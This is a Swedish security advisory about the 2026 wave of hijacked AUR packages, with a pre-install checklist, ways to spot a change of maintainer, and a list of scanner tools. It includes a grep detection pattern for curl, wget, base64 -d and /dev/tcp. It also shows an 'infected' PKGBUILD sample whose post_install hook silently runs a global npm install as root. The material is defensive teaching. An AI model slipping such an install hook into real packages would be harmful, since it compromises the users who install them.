AUR SÄKERHET — AKUT LÄGE, AUGUSTI 2026

Läs koden innan koden läser dig.

Sedan sommaren 2026 har tusentals AUR-paket kapats i upprepade vågor. Så här läser du en PKGBUILD för att se skillnaden mellan ett rent paket och ett som skickar dina hemligheter vidare.

1600+kapade paket, "Atomic Arch"-kampanjen (jun)
120–200+nya infekterade paket, ny våg (aug)
rootpost-install-hooks körs som
Uppdatering 3 augusti 2026: Arch har nu stängt av alla uppladdningar till AUR, inte bara adoptioner — en ny våg drabbade minst 120 paket (community-rapporter pekar mot 200+), inklusive impersonering av kända varumärken (bl.a. en falsk "Brave") och paket som utger sig för populära verktyg. Nyttolasten kopplas nu upp via Tor och planterar en bakdörr utöver infostealern. Ingen tidsplan för när uppladdningar återaktiveras har kommunicerats.

Vad som faktiskt hände

Angripare adopterade övergivna AUR-paket via den vanliga "adopt"-funktionen, behöll namn och historik, och bytte sedan ut byggskriptet. Mönstret återkom om och om igen: en tyst rad i en .install-fil laddade ner en sekundär nyttolast (bland annat en Rust-baserad infostealer och i vissa fall en eBPF-rootkit) — men bara vid installation, inte vid bygget. Det gjorde att makepkg såg helt normalt ut, medan pacman -U körde payloaden som root. Detta är nu tredje stora vågen under 2026, och senaste vågen visar att angriparna även börjat kompromettera redan etablerade konton — inte bara ta över övergivna paket.

Checklista innan du installerar

Sex saker att alltid kolla, i den ordningen.

01

Läs hela filen — inte bara toppen

Skadlig kod läggs ofta längst ner, efter den normala build()/package()-koden, i hopp om att du slutar läsa tidigare.

02

Granska source=() och sha256sums=()

Pekar källan på upstream-projektets eget repo, eller på en okänd fil-host? Är SKIP använt på en vanlig tarball istället för bara -git-paket?

03

Sök efter nätverks- och exec-kommandon

Kör detta mot PKGBUILD och alla .install-filer i paketet:

grep -inE 'curl|wget|npm install|pip install|bun install|base64 -d|eval|exec |/dev/tcp' PKGBUILD *.install
04

Läs .install-filer extra noga

post_install(), post_upgrade(), pre_remove() körs som root av pacman — den farligaste platsen att gömma kod, eftersom byggsteget inte rör dem alls.

05

Kolla paketets historik på AUR

Nyligen bytt maintainer? Plötsligt hopp i pkgrel utan att pkgver ändrats? Jämför mot Git-loggen: aur.archlinux.org/cgit/aur.git/log.

06

Låt ett verktyg vara ditt första filter

aur-scanner, ks-aur-scanner och signaturlistan lenucksi/aur-malware-check fångar kända mönster — men ersätter aldrig manuell läsning.

Hur du ser att ett paket nyligen bytt ägare

Den viktigaste signalen av alla — men den mest gömda. Ett paket som legat stabilt i flera år med samma maintainer och plötsligt fått en ny är exakt mönstret från "Atomic Arch"-kampanjen.

01 — PAKETSIDAN

Maintainer vs. Submitter

Längst ner till höger på aur.archlinux.org/packages/paketnamn visas tre fält. Skiljer sig Maintainer från Submitter, och du inte kände igen bytet — flagga.

Submitterjane_doe
Last Packagerjane_doe
Maintainerunknown_acct93
02 — ÄNDRINGSHISTORIK

"View Changes" på paketsidan

Visar en logg över senaste ändringarna med tidsstämpel och författare, direkt i webbgränssnittet — ingen git-klon behövs för en snabb koll.

03 — GIT-LOGGEN

Mest tillförlitligt: klona själv

Varje AUR-paket är ett eget git-repo. Leta efter en lucka i tid följt av en ensam commit från en ny författare.

$ git clone https://aur.archlinux.org/paketnamn.git $ git log --oneline --all a3f91c2 Adopted by unknown_acct93 7b2e88d 1.4.1-1: bump version c91a004 1.4.0-1: initial release
04 — KOMMENTARSFÄLTET

Läs kommentarerna innan install

Andra användare postar ofta varningar direkt på paketsidan om de märker konstiga ändringar efter en adoption — särskilt nu. Skumma igenom, särskilt på mindre populära paket.

Snabbaste regeln: jämför datumet på senaste committen mot när du själv senast installerade paketet utan problem. Om Maintainer bytt sedan dess — läs hela PKGBUILD och alla .install-filer manuellt den gången, oavsett hur välkänt paketet är.

Samma paket, två versioner

Ett verktyg som byggs med Go, jämfört sida vid sida. Till höger: samma paket efter att ha adopterats av ett angripar­konto — med exakt det mönster som sågs i juni 2026.

PKGBUILD — ren version
# Maintainer: Jane Doe <jane@example.com>pkgname=my-cool-toolpkgver=1.4.2pkgrel=1pkgdesc="A simple CLI tool for doing cool things"arch=('x86_64')url="https://github.com/janedoe/my-cool-tool"license=('MIT')depends=('glibc')makedepends=('go')source=("$pkgname-$pkgver.tar.gz::https://github.com/janedoe/my-cool-tool/archive/refs/tags/v$pkgver.tar.gz")sha256sums=('a1b2c3d4e5f6...')  # riktig, verifierbar hashbuild() {  cd "$pkgname-$pkgver"  go build -o "$pkgname" .}package() {  cd "$pkgname-$pkgver"  install -Dm755 "$pkgname" "$pkgdir/usr/bin/$pkgname"  install -Dm644 LICENSE "$pkgdir/usr/share/licenses/$pkgname/LICENSE"}
Källan pekar direkt på upstreams egen GitHub-tagg.
Riktig checksumma — inte SKIP på en vanlig tarball.
Ingen .install-fil, inga hook-funktioner.
PKGBUILD — infekterad version
# Maintainer: (nyligen adopterad av annat konto)pkgname=my-cool-toolpkgver=1.4.2pkgrel=2pkgdesc="A simple CLI tool for doing cool things"arch=('x86_64')url="https://github.com/janedoe/my-cool-tool"license=('MIT')depends=('glibc')makedepends=('go' 'npm')install=my-cool-tool.installsource=("$pkgname-$pkgver.tar.gz::https://github.com/janedoe/my-cool-tool/archive/refs/tags/v$pkgver.tar.gz")sha256sums=('SKIP')build() {  cd "$pkgname-$pkgver"  go build -o "$pkgname" .}package() {  cd "$pkgname-$pkgver"  install -Dm755 "$pkgname" "$pkgdir/usr/bin/$pkgname"}
my-cool-tool.install — den fil som faktiskt gör skadan, körs som root vid installation:
post_install() {  if command -v npm >/dev/null 2>&1; then    npm install -g atomic-lockfile --silent 2>/dev/null  fi}post_upgrade() {  post_install}
pkgrel utan pkgver-ändring SKIP på tarball ny install-hook tyst npm install som root

Verktyg som skannar åt dig

Automatiska filter — inget av dem ersätter att läsa filen själv, men de fångar de vanligaste mönstren direkt, innan du ens öppnar editorn.

Ja, det är lite ironiskt att installera ett skydd mot infekterade AUR-paket via just AUR. Applicera samma granskning på scannerns egen PKGBUILD som du skulle på vilket paket som helst innan du kör paru -S — eller ta genvägen och bygg från källkoden direkt via git clone nedan, så slipper du lita på AUR-versionen av verktyget helt. Men samma regel gäller där också: bara för att koden ligger på GitHub istället för AUR betyder inte automatiskt att den är säker. Skumma igenom repot innan du kör cargo build eller liknande — särskilt build.rs, post-install-hooks och eventuella nätverksanrop i byggprocessen — precis som du skulle gjort med en PKGBUILD.

ks-aur-scanner

Aktivt underhållen

Skriven i Rust. 50+ detektionsregler byggda på dokumenterade attacker, inklusive IOC-databas för juni 2026-kampanjen. Kan köras som pacman-hook för automatisk skanning vid varje transaktion.

paru -S ks-aur-scanner # eller: yay -S ks-aur-scanner
git clone https://github.com/KiefStudioMA/ks-aur-scanner.git && cd ks-aur-scanner && cargo build --release # bygg från källa, kringgå AUR helt
github.com/KiefStudioMA/ks-aur-scanner →

aurscan (manticore-projects)

Aktivt underhållen

Kör samma statiska regelmotor som ks-aur-scanner offline och gratis som första filter, men kan valfritt skicka träffar vidare till en AI-modell för djupare bedömning. Parsar PKGBUILD med en riktig shell-parser, så enkel token-obfuskering (s"ud"o, cu""rl) slinker inte igenom.

aurscan --rules-only <paketnamn> # kör bara den gratis, offline regelmotorn
github.com/manticore-projects/aurscan →

lenucksi/aur-malware-check

Signaturlista

Riktar in sig specifikt på juni 2026-kampanjen (atomic-lockfile, js-digest, lockfile-js) och listar de konton som identifierats i attackvågorna. Bra för en snabb "har jag installerat något av de här"-koll, snarare än generell skanning.

github.com/lenucksi/aur-malware-check →

aur_scanner (LuigiD5555)

Underhålls ej längre

Bash-skript som verifierar checksummor, PGP-signaturer och begränsar källor till betrodda domäner innan yay -S körs. Fungerande proof-of-concept men projektet är arkiverat — använd som referens/inspiration snarare än ditt primära skydd.

github.com/LuigiD5555/aur_scanner →

Samtliga verktygsförfattare säger samma sak, och det är värt att upprepa: statisk analys fångar inte allt, särskilt inte kraftigt obfuskerade eller helt nya mönster. Verktygen är ett förstafilter — inte ett substitut för att faktiskt läsa filen.

Lita aldrig blint på ett paket bara för att det haft många nedladdningar eller sett bra ut tidigare. Läs alla filer i paketet — PKGBUILD och .install — leta efter nätverksanrop och npm/pip/bun install-rader i hook-funktioner, och var extra skeptisk om paketet nyligen bytt maintainer.